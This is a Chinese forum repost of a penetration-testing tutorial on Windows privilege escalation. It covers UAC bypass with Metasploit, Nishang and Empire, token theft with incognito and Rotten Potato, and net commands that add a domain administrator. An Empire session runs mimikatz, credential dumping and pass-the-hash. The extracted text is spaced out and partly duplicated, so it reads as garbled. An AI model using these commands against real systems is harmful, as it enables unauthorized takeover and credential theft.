搜索

[17029] 2021-07-15_内网渗透基石篇--权限提升

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-07-15_内网渗透基石篇--权限提升 内 网 渗 透 基 石 篇 - - 权 限 提 升 F r e e B u f   2 0 2 1 - 0 7 - 1 5 前 言 ： 前 言 ： ᴇ ᴠ ᴇ ʀ ʏ ᴛ ʜ ɪ ɴ ɢ   ᴡ ɪ ʟ ʟ   ʙ ᴇ   ᴏ ᴋ   ☼   心 田 常 植 繁 花 ， 生 命 便 时 时 如 沐 初 夏 。 心 田 常 植 繁 花 ， 生 命 便 时 时 如 沐 初 夏 。 一 、 一 、   绕 过 绕 过 U A C 提 权 分 析 及 规 范 提 权 分 析 及 规 范 1 . 基 本 概 念 基 本 概 念 用 户 帐 户 控 制 用 户 帐 户 控 制 ( U s e r   A c c o u n t   C o n t r o l )   是 W i n d o w s   V i s t a （ 及 更 高 版 本 操 作 系 统 ） 中 一 组 新 的 基 础 结 构 技 术 ， 可 以 帮 助 阻 止 恶 意 程 序 （ 有 时 也 称 为 “ 恶 意 软 件 ” ） 损 坏 系 统 ， 同 时 也 可 以 帮 助 组 织 部 署 更 易 于 管 理 的 平 台 。 如 果 计 算 机 的 操 作 系 统 版 本 是 w i n d o w s   V I s t a 或 更 高 ， 在 权 限 不 够 的 情 况 下 ， 访 问 系 统 磁 盘 的 根 目 录 、 w i n d o w s 目 录 、 P r o g r a m   F I l e s   目 录 ， 以 及 读 、 写 系 统 登 陆 数 据 库 的 程 序 等 操 作 ， 都 需 要 经 过 U A C   的 认 证 才 能 运 行 。 配 置 w i n d o w s   u p d a t e 增 加 / 删 除 账 户 更 改 账 户 类 型 更 改 U A C 的 设 置 安 装 A c t i v e X 安 装 / 卸 载 程 序 安 装 设 备 驱 动 程 序 将 文 件 移 动 / 复 制 到 P r o g r a m   F I l e s 或 W I n d o w s   目 录 下 查 看 其 他 用 户 的 文 件 夹 U A C 有 如 下 四 种 设 置 要 求 ： 始 终 通 知 始 终 通 知 ： 这 是 最 严 格 的 设 置 ， 每 当 有 程 序 需 要 使 用 高 级 别 的 权 限 时 都 会 提 示 本 地 用 户 仅 在 程 序 试 图 更 改 我 的 计 算 机 时 通 知 我 仅 在 程 序 试 图 更 改 我 的 计 算 机 时 通 知 我 ： 这 是 U A C 的 默 认 设 置 。 当 本 地 W i n d o w s 程 序 要 使 用 高 级 别 的 权 限 时 ， 不 会 通 知 用 户 。 但 是 ， 当 第 三 方 程 序 要 使 用 高 级 别 的 权 限 时 ， 会 提 示 本 地 用 户 仅 在 程 序 试 图 更 改 我 的 计 算 机 时 通 知 我 仅 在 程 序 试 图 更 改 我 的 计 算 机 时 通 知 我 ( 不 降 低 桌 面 的 亮 度 ) ： 与 上 一 条 设 置 的 要 求 相 同 ， 但 在 提 示 用 户 时 不 降 低 桌 面 的 亮 度 从 不 提 示 从 不 提 示 ： 当 用 户 为 系 统 管 理 员 时 ， 所 有 程 序 都 会 以 最 高 权 限 运 行 U A C 原 理 ： 原 理 ： 界 面 操 作 是 ： 通 过 询 问 用 户 是 否 授 权 给 应 用 程 序 ， 使 用 硬 盘 驱 动 器 和 系 统 文 件 的 权 力 。 以 达 到 阻 止 恶 意 程 序 （ “ 恶 意 软 件 ” ） 损 坏 系 统 的 效 果 。 内 部 逻 辑 是 ： 在 触 发   U A C   时 ， 操 作 系 统 会 创 建 一 个 c o n s e n t . e x e 进 程 ， 用 来 确 定 是 否 创 建 具 有 管 理 员 权 限 的 进 程 （ 通 过 白 名 单 和 用 户 选 择 判 断 ） ， 然 后 c r e a t   p r o c e s s 。 请 求 进 程 将 要 请 求 的 进 程 c m d l i n e 和 进 程 路 径 ， 通 过 L P C 接 口 传 递 给 a p p i n f o 的 R A i L u a n c h A d m i n P r o c e s s 函 数 ， 该 函 数 首 先 验 证 路 径 是 否 在 白 名 单 中 ， 并 将 结 果 传 递 给 c o n s e n t . e x e 进 程 ， 该 进 程 验 证 被 请 求 的 进 程 签 名 ， 以 及 ， 发 起 者 的 权 限 ， 是 否 符 合 要 求 ， 然 后 决 定 是 否 弹 出 U A C 框 ， 让 用 户 确 认 。 这 个 U A C 框 会
创 建 新 的 安 全 桌 面 ， 遮 挡 之 前 的 界 面 。 同 时 这 个 U A C 框 进 程 是 S Y S T E M 账 户 的 进 程 ， 其 他 标 准 用 户 进 程 无 法 与 其 通 信 交 互 。 用 户 确 认 之 后 ， 会 调 用 C r e a t e P r o c e s s A s U s e r 函 数 ， 以 管 理 员 权 限 启 动 请 求 的 进 程 。 所 以 ， 病 毒 木 马 想 要 实 现 高 权 限 操 作 ， 就 不 得 不 绕 过 U A C 弹 窗 ， 在 没 有 通 知 用 户 情 况 下 ,   悄 悄 地 将 普 通 权 限 ， 提 升 为 管 理 员 权 限 启 动 进 程 ， 从 而 使 程 序 得 到 高 权 限 的 操 作 。 2   b y p a s s u s a c   模 块 模 块 1 . 原 理 原 理 ： 为 了 远 程 执 行 目 标 的 e x e 或 者 b a t 可 执 行 文 件 绕 过 此 安 全 机 制 ， 以 此 叫 B y p a s s U A C （ 不 进 行 弹 窗 直 接 运 行 执 行 文 件 ） 2 . 实 验 实 验 1 ： 环 境 ： w i n 7   / 1 9 2 . 1 6 8 . 0 . 8 k a l i ： 1 9 2 . 1 6 8 . 0 . 1 1 . 查 看 目 标 i p 地 址 2 . 使 用 e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c 模 块 3 . 设 置 p a y l o a d 4 . 获 得 权 限 ， 查 看 u i d 。
3   R u n A S 模 块 模 块 1 . 使 用 w i n d o w s / l o c a l / a s k 模 块 2 . 然 后 执 行 3 . 获 得 权 限 查 看 目 标 u i d 。
4 . 针 对 绕 过 针 对 绕 过 U A C 提 权 的 防 御 措 施 提 权 的 防 御 措 施 在 企 业 网 络 环 境 中 ， 防 止 绕 过 U A C 的 最 好 方 法 是 不 让 内 网 机 器 的 使 用 者 拥 有 管 理 员 权 限 ， 从 而 降 低 系 统 遭 受 攻 击 的 可 能 性 。 在 家 庭 网 络 环 境 中 ， 建 议 使 用 非 管 理 员 权 限 进 行 日 常 活 动 ， 使 用 本 地 管 理 员 权 限 登 陆 的 用 户 ， 要 将 U A C 设 置 成 “ 始 终 通 知 ” 。 二 二 . N i s h a n g   中 的 中 的 I n v o P s U A C m e 模 块 模 块 项 目 下 载 地 址 项 目 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g 应 用 场 景 应 用 场 景 ： 假 设 已 经 将 n i s h a n g 下 载 到 受 害 主 机 接 下 来 需 要 进 行 U A C 提 权 使 用 s y s p r e p 方 法 和 默 认 的 P a y l o a d 执 行 打 开 受 害 者 主 机 的 p o w e r s h e l l ， 执 行 命 令 ： ， 执 行 成 功 后 会 弹 窗 一 个 窗 口 ， 窗 口 是 超 级 管 理 员 权 限 ， 可 以 添 加 账 号 I n v o k e - P s U A C m e   - V e r b o s e I n v o k e - P s U A C m e / / 使 用 o o b e 方 法 和 默 认 的 P a y l o a d 执 行 I n v o k e - P s U A C m e   - m e t h o d   o o b e   - V e r b o s e
三 三 . E m p i r e   中 中 b y p a s s u a c 模 块 模 块 1 . b y p a s s u a c 模 块 模 块 u s e m o d u l e   p r i v e s e c / b y p a s s u a c s e t   L i n s t e n e r   s h u t e e r e x e x u t e 2 . b y p a s s u a c _ w s c r i p t 模 块 模 块 工 作 原 理 工 作 原 理 ： 使 用 执 行 p a y l o a d ， 即 绕 过 U A C ， 以 管 理 员 权 限 执 行 P a y l o a d 。 可 惜 的 是 ， 这 个 模 块 只 能 在 w i n 7 的 机 器 上 使 用 ， 而 且 部 分 杀 毒 软 件 会 报 毒 ！ 3 . 常 见 的 常 见 的 U A C 绕 过 方 法 绕 过 方 法 白 名 单 机 制 提 权 白 名 单 机 制 提 权 D L L 劫 持 劫 持 利 用 利 用 C L R 绕 过 绕 过 C O M 组 件 劫 持 组 件 劫 持 利 用 利 用 w u s a 工 具 的 工 具 的 e x t r a c t 选 项 选 项   模 拟 可 信 目 录 绕 过 模 拟 可 信 目 录 绕 过 U A C 利 用 利 用 I s e c u r i t y E d i t o r   C O M 接 口 关 闭 接 口 关 闭 U A C I n v o k e - P s U A C m e   - m e t h o d   o o b e   - V e r b o s e / / 使 用 - P a y l o a d 参 数 可 以 自 行 指 定 要 执 行 的 P a y l o a d I n v o k e - P s U A C m e   - m e t h o d   o o b e   - P a y l o a d   " p o w e r s h e l l   - w i n d o w s t y l e   h i d d e n   - e   Y o u r E n c o d e d P a y l o a d " C : W i n d o w s w s c r i p t . e x e u s e m o d u l e   p r i v e s c / b y p a s s u a c _ w s c r i p t s e t   L i s t e n e r   s h u t e e r e x e c u t e
利 用 应 用 程 序 兼 容 数 据 库 的 特 性 来 绕 过 利 用 应 用 程 序 兼 容 数 据 库 的 特 性 来 绕 过 U A C W i n d o w s 自 身 漏 洞 提 权 自 身 漏 洞 提 权   … 四 四 .   令 牌 窃 取 分 析 及 规 范 令 牌 窃 取 分 析 及 规 范 令 牌 令 牌 是 指 系 统 中 临 时 密 钥 ， 相 当 于 账 户 和 密 码 ， 用 于 决 定 是 否 允 许 当 前 请 求 及 判 断 当 前 请 求 是 属 于 哪 个 用 户 的 。 令 牌 令 牌 的 最 大 特 点 特 点 是 随 机 性 和 不 可 预 测 性 。 一 般 攻 击 者 或 者 软 件 都 无 法 将 访 问 猜 测 出 来 。 访 问 令 牌 代 表 访 问 控 制 操 作 实 体 的 系 统 对 象 . 密 码 令 牌 也 叫 做 认 证 令 牌 或 硬 件 硬 盘 。 伪 造 令 牌 攻 击 的 核 心 是 K e r b e r o s 协 议 协 议 。 K e r v e r o s 是 一 种 网 络 认 证 协 议 ， 其 设 计 目 标 是 通 过 密 钥 系 统 为 客 户 机 / 服 务 器 应 用 程 序 提 供 强 大 的 认 证 服 务 。 流 程 流 程 ： 1 . 向 认 证 服 务 器 发 送 请 求 , 要 求 得 到 证 书 。 2 . 认 证 服 务 器 收 到 请 求 后 ， 将 包 含 客 户 端 密 钥 的 加 密 证 书 发 送 给 客 户 端 。 该 证 书 包 含 服 务 器 T i c k e t ( 包 含 由 服 务 器 密 钥 加 密 的 客 户 机 身 份 和 一 份 会 话 密 钥 ) 和 一 个 临 时 加 密 密 钥 ( 又 称 为 会 话 密 钥 ， S e s s i o n   K e y ) 。 当 然 ， 认 证 服 务 器 也 会 向 服 务 器 发 送 一 份 该 证 书 ， 使 服 务 器 能 够 验 证 登 录 的 客 户 端 的 身 份 。 3 . 客 户 端 将 T i c k e t 传 送 给 服 务 器 。 如 果 服 务 器 确 认 该 客 户 端 的 身 份 ， 就 允 许 它 登 录 服 务 器 。 客 户 端 登 录 服 务 器 后 , 攻 击 者 就 能 通 过 入 侵 服 务 器 来 窃 取 客 户 端 的 令 牌 。 1 . 令 牌 窃 取 令 牌 窃 取 假 冒 令 牌 可 以 假 冒 一 个 网 络 中 的 另 一 个 用 户 进 行 各 种 操 作 。 令 牌 包 括 登 录 会 话 的 安 全 信 息 ， 如 用 户 身 份 识 别 、 用 户 组 合 用 户 权 限 。 当 一 个 用 户 登 录 W i n d o w s 系 统 时 ， 它 被 给 定 一 个 访 问 令 牌 作 为 它 认 证 会 话 的 一 部 分 。 例 如 ， 一 个 入 侵 用 户 可 能 需 要 域 管 理 员 的 操 作 权 限 的 时 候 ， 当 它 使 用 令 牌 便 可 假 冒 域 管 理 员 进 行 工 作 （ 攻 击 ） 。 令 牌 （ 令 牌 （ T o k e n ） ） ： 令 牌 ( t o k e n ) 是 系 统 的 临 时 秘 钥 ， 相 当 于 账 号 和 密 码 ， 用 来 决 定 是 否 允 许 这 次 请 求 和 判 断 这 次 请 求 是 属 于 哪 一 个 用 户 的 。 它 允 许 你 在 不 提 供 密 码 或 其 他 凭 证 的 前 提 下 ， 访 问 网 络 和 系 统 资 源 ， 这 些 令 牌 将 持 续 存 在 于 系 统 中 ， 除 非 系 统 重 新 启 动 。 令 牌 最 大 的 特 点 就 是 随 机 性 ， 不 可 预 测 ， 黑 客 或 软 件 无 法 猜 测 出 令 牌 。 令 牌 分 类 令 牌 分 类 访 问 令 牌 ( A c c e s s   T o k e n ) :   表 示 访 问 控 制 操 作 主 体 的 系 统 对 象 会 话 令 牌 ( S e s s i o n   T o k e n ) :   交 互 会 话 中 唯 一 的 身 份 标 识 符
密 保 令 牌 ( S e c u r i t y   T o k e n ) :   又 叫 做 认 证 令 牌 或 硬 件 令 牌 ， 是 一 种 计 算 机 身 份 校 验 的 物 理 设 备 ， 例 如 U 盾 W i n d o w s 访 问 令 牌 访 问 令 牌 W i n d o w s   访 问 令 牌 访 问 令 牌 ( A c c e s s   T o k e n s )   是 一 个 描 述 进 程 或 线 程 安 全 上 下 文 的 对 象 。 令 牌 所 包 含 的 信 息 是 与 该 用 户 是 一 个 描 述 进 程 或 线 程 安 全 上 下 文 的 对 象 。 令 牌 所 包 含 的 信 息 是 与 该 用 户 账 户 相 关 的 进 程 或 线 程 的 身 份 和 权 限 信 息 。 当 用 户 登 录 时 ， 系 统 通 过 将 用 户 输 入 的 密 码 与 储 存 在 安 全 数 据 库 中 账 户 相 关 的 进 程 或 线 程 的 身 份 和 权 限 信 息 。 当 用 户 登 录 时 ， 系 统 通 过 将 用 户 输 入 的 密 码 与 储 存 在 安 全 数 据 库 中 的 密 码 进 行 对 比 。 若 密 码 正 确 ， 系 统 将 生 成 一 个 访 问 令 牌 。 之 后 ， 该 用 户 执 行 的 每 个 进 程 都 会 拥 有 一 个 该 访 问 的 密 码 进 行 对 比 。 若 密 码 正 确 ， 系 统 将 生 成 一 个 访 问 令 牌 。 之 后 ， 该 用 户 执 行 的 每 个 进 程 都 会 拥 有 一 个 该 访 问 令 牌 的 副 本 。 令 牌 的 副 本 。 目 前 访 问 令 牌 分 为 两 种 令 牌 ： 目 前 访 问 令 牌 分 为 两 种 令 牌 ： 主 令 牌 （ 每 一 个 进 程 都 具 有 一 个 唯 一 的 主 令 牌 ， 进 程 通 过 主 令 牌 被 开 启 ） 模 拟 令 牌 （ 在 默 认 的 情 况 下 ， 当 线 程 被 开 启 的 时 候 ， 所 在 进 程 的 主 令 牌 会 自 动 附 加 到 当 前 线 程 上 ， 作 为 线 程 的 安 全 上 下 文 。 而 线 程 可 以 运 行 在 另 一 个 非 主 令 牌 的 访 问 令 牌 下 执 行 ， 而 这 个 令 牌 被 称 为 模 拟 令 牌 。 而 指 定 线 程 的 模 拟 令 牌 的 过 程 被 称 为 模 拟 ） 主 令 牌 是 与 进 程 相 关 的 ； 模 拟 的 令 牌 是 与 模 拟 令 牌 的 线 程 相 关 的 。 主 令 牌 和 模 拟 令 牌 ， 都 会 在 系 统 重 启 或 者 关 主 令 牌 是 与 进 程 相 关 的 ； 模 拟 的 令 牌 是 与 模 拟 令 牌 的 线 程 相 关 的 。 主 令 牌 和 模 拟 令 牌 ， 都 会 在 系 统 重 启 或 者 关 机 后 全 部 清 除 。 机 后 全 部 清 除 。 当 线 程 与 安 全 对 象 进 行 交 互 或 尝 试 执 行 需 要 特 权 的 系 统 任 务 时 ， 系 统 使 用 访 问 令 牌 来 标 识 用 户 。 访 问 令 牌 包 含 当 线 程 与 安 全 对 象 进 行 交 互 或 尝 试 执 行 需 要 特 权 的 系 统 任 务 时 ， 系 统 使 用 访 问 令 牌 来 标 识 用 户 。 访 问 令 牌 包 含 以 下 信 息 ： 以 下 信 息 ： 用 户 帐 户 的 安 全 标 识 符 ( S I D ) 用 户 帐 户 所 属 的 用 户 群 的 S I D s 一 个 l o g o n   S I D ， 标 识 当 前 登 录 会 话 用 户 或 用 户 群 的 特 权 清 单 所 有 者 的 S I D 基 本 群 的 S I D 当 用 户 创 建 可 安 全 对 象 （ s e c u r a b l e   o b j e c t ） 且 没 有 给 出 安 全 描 述 符 时 ， 系 统 使 用 的 缺 省 的 自 主 访 问 控 制 列 表 （ D A C L ） 访 问 令 牌 资 源 是 否 为 p r i m a r y 或 i m p e r s o n a t i o n   t o k e n 限 制 性 S I D s 的 可 选 列 表 当 前 i m p e r s o n a t i o n 级 别 其 他 统 计 攻 击 者 可 以 使 用 访 问 令 牌 在 不 同 的 用 户 或 系 统 安 全 性 上 下 文 下 进 行 操 作 ， 以 执 行 操 作 并 逃 避 检 测 。 攻 击 者 可 以 使 用 访 问 令 牌 在 不 同 的 用 户 或 系 统 安 全 性 上 下 文 下 进 行 操 作 ， 以 执 行 操 作 并 逃 避 检 测 。 攻 击 者 可 以 使 用 内 置 的 攻 击 者 可 以 使 用 内 置 的 W i n d o w s   A P I 函 数 来 复 制 现 有 进 程 中 的 访 问 令 牌 。 这 被 称 为 令 牌 窃 取 。 函 数 来 复 制 现 有 进 程 中 的 访 问 令 牌 。 这 被 称 为 令 牌 窃 取 。 攻 击 者 必 须 已 经 在 特 权 用 户 上 下 文 （ 即 管 理 员 ） 中 才 能 窃 取 令 牌 。 攻 击 者 通 常 使 用 令 牌 窃 取 将 其 安 全 上 下 文 从 攻 击 者 必 须 已 经 在 特 权 用 户 上 下 文 （ 即 管 理 员 ） 中 才 能 窃 取 令 牌 。 攻 击 者 通 常 使 用 令 牌 窃 取 将 其 安 全 上 下 文 从 管 理 员 级 别 提 升 到 管 理 员 级 别 提 升 到 S Y S T E M 级 别 。 如 果 帐 户 对 远 程 系 统 具 有 适 当 的 权 限 ， 则 对 手 可 以 使 用 令 牌 作 为 该 令 牌 的 帐 级 别 。 如 果 帐 户 对 远 程 系 统 具 有 适 当 的 权 限 ， 则 对 手 可 以 使 用 令 牌 作 为 该 令 牌 的 帐 户 向 远 程 系 统 进 行 身 份 验 证 。 户 向 远 程 系 统 进 行 身 份 验 证 。 列 举 令 牌 只 能 列 出 当 前 用 户 和 比 当 前 用 户 权 限 更 低 用 户 的 令 牌 ， 例 如 当 前 权 限 是 列 举 令 牌 只 能 列 出 当 前 用 户 和 比 当 前 用 户 权 限 更 低 用 户 的 令 牌 ， 例 如 当 前 权 限 是 s y s t e m 或 者 是 或 者 是 a d m i n i s t r a t o r ， ， 那 么 我 们 就 可 以 看 到 系 统 中 所 有 的 令 牌 。 那 么 我 们 就 可 以 看 到 系 统 中 所 有 的 令 牌 。
W i n d o w s 的 的 A c c e s s   T o k e n 有 两 种 类 型 有 两 种 类 型 D e l e g a t i o n   T o k e n :   授 权 令 牌 ， 它 支 持 交 互 式 会 话 登 录 ( 例 如 本 地 用 户 直 接 登 录 、 远 程 桌 面 登 录 访 问 ) I m p r e s o n a t i o n   T o k e n :   模 拟 令 牌 , 它 是 非 交 互 的 会 话 ( 例 如 使 用 n e t   u s e 访 问 共 享 文 件 夹 ) 。 注 ： 访 问 令 牌 的 窃 取 与 利 用 至 少 需 要 注 ： 访 问 令 牌 的 窃 取 与 利 用 至 少 需 要 a d m i n i s t r a t o r 权 限 。 如 下 先 用 域 普 通 账 号 的 权 限 进 行 令 牌 窃 取 权 限 。 如 下 先 用 域 普 通 账 号 的 权 限 进 行 令 牌 窃 取 实 验 ： 实 验 ： 进 入 s e s s i o n 中 输 入 u s e   i n c o g n i t o 输 入 l i s t _ t o k e n s   - u 得 到 模 拟 令 牌 ： 再 来 一 个 s y s t e m 权 限 ， w h o a m i 显 示 的 就 是 s y s t e m 注 意 这 里 的 双 引 号 N T   A U T H O R I T Y L O C A L   S E R V I C E N T   A U T H O R I T Y N E T W O R K   S E R V I C E N T   A U T H O R I T Y S Y S T E M W I N - D 2 G N 1 O U F T M B a i l x 0 4 N T   A U T H O R I T Y A N O N Y M O U S   L O G O i m p e r s o n a t e _ t o k e n   W I N - D 2 G N 1 O U F T M B a d m i n
2 .   R o t t e n   P o t a t o   本 地 提 权 分 析 本 地 提 权 分 析 如 果 目 标 系 统 中 存 在 有 效 的 令 牌 ， 可 以 通 过 R o t t e n   P o t a t o 程 序 快 速 模 拟 用 户 令 牌 来 实 现 权 限 的 提 升 。 首 先 输 入 “ u s e i n c o g n i t o ” 命 令 ， 然 后 输 入 “ l i s t _ t o k e n s   - u ” 命 令 , 列 出 可 用 的 令 牌 下 载 完 成 后 ， R o t t e n P o t a t o 目 录 下 会 有 一 个 r o t t e n p o t a t o . e x e 可 执 行 文 件 。 执 行 如 下 命 令 , 将   r o t t e n p o t a t o c x e 上 传 列 日 标 机 器 中 这 两 种 不 同 于 初 始 的   P o t a t o ， 它 是 通 过   D C O M   C A L L   来 使 服 务 向 攻 击 者 监 听 的 端 口 发 起 连 接 并 进 行   N T L M   认 证 R o t t e n   P o t a t o   和   J u i c y   P o t a t o   几 乎 是 同 样 的 原 理 ， 后 者 在 前 者 的 基 础 上 完 善 。 需 要 理 解 的 几 个 知 识 ： 使 用   D C O M   时 ， 如 果 以 服 务 的 方 式 远 程 连 接 ， 那 么 权 限 为   S y s t e m ， 例 如   B I T S   服 务 使 用   D C O M   可 以 通 过   T C P   连 接 到 本 机 的 一 个 端 口 ， 发 起   N T L M   认 证 ， 该 认 证 可 以 被 重 放 L o c a l S e r v i c e   用 户 默 认 具 有   S e I m p e r s o n a t e   和   S e A s s i g n P r i m a r y T o k e n   权 限 开 启   S e I m p e r s o n a t e   权 限 后 ， 能 够 在 调 用   C r e a t e P r o c e s s W i t h T o k e n   时 ， 传 入 新 的   T o k e n   创 建 新 的 进 程 开 启   S e A s s i g n P r i m a r y T o k e n   权 限 后 ， 能 够 在 调 用   C r e a t e P r o c e s s A s U s e r   时 ， 传 入 新 的   T o k e n   创 建 新 的 进 程 3   添 加 域 管 理 员 添 加 域 管 理 员
n e t   u s e r   s e c   1 2 3 4 5 6 B o   / a d   / d o m a i n   # 添 加 域 用 户 2 n e t   g r o u p   “ d o m a i n   a d m i n s ”   s e c   / a d   / d o m a i n   # 添 加 到 域 管 理 员 组 3 n e t g r o u p   “ d o m a i n   a d m i n s ”   / d o m a i n   # 查 看 域 管 理 员 组 4 5 同 样 在 m e t e r p r e t e r 中 可 以 使 用 i n c o g n i t o 来 模 拟 域 管 理 员 ， 然 后 通 过 迭 代 系 统 中 所 有 可 用 的 身 份 验 证 令 牌 来 添 加 域 管 理 员 6 a d d _ u s e r   s e c   1 2 3 4 5 B o   - h   1 . 1 . 1 . 8 7 n e t   g r o u p   “ d o m a i n   a d m i n s ”   s e c - h   1 . 1 . 1 . 8 4 . E m p i r e   下 的 令 牌 窃 取 分 析 下 的 令 牌 窃 取 分 析 E m p i r e :   l i s t e n e r s )   >   u s e l i s t e n e r   h t t p 2 ( E m p i r e :   l i s t e n e r s / h t t p )   >   i n f o 3 ( E m p i r e :   l i s t e n e r s / h t t p )   >   s e t   H o s t   h t t p : / / 1 . 1 . 1 . 6 4 ( E m p i r e :   l i s t e n e r s / h t t p )   >   s e t   P o r t   8 8 8 8 5 ( E m p i r e :   l i s t e n e r s / h t t p )   >   s e t   N a m e   s e c 6 ( E m p i r e :   l i s t e n e r s / h t t p )   >   e x e c u t e 7 ( E m p i r e :   l i s t e n e r s )   >   l a u n c h e r   p o w e r s h e l l   s e c 8 9 ( E m p i r e :   a g e n t s )   >   i n t e r a c t   N 7 8 Z 9 6 5 3 1 0 ( E m p i r e :   N 7 8 Z 9 6 5 3 )   >   m i m i k a t z 1 1 ( E m p i r e :   N 7 8 Z 9 6 5 3 )   >   c r e d s 1 2 ( E m p i r e :   N 7 8 Z 9 6 5 3 )   >   p t h   2 1 3 ( E m p i r e :   N 7 8 Z 9 6 5 3 )   >   r e v t o s e l f   # 恢 复 令 牌 权 限 5 . 针 对 令 牌 窃 取 提 权 的 防 御 措 施 针 对 令 牌 窃 取 提 权 的 防 御 措 施 及 时 安 装 微 软 推 送 的 补 丁
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理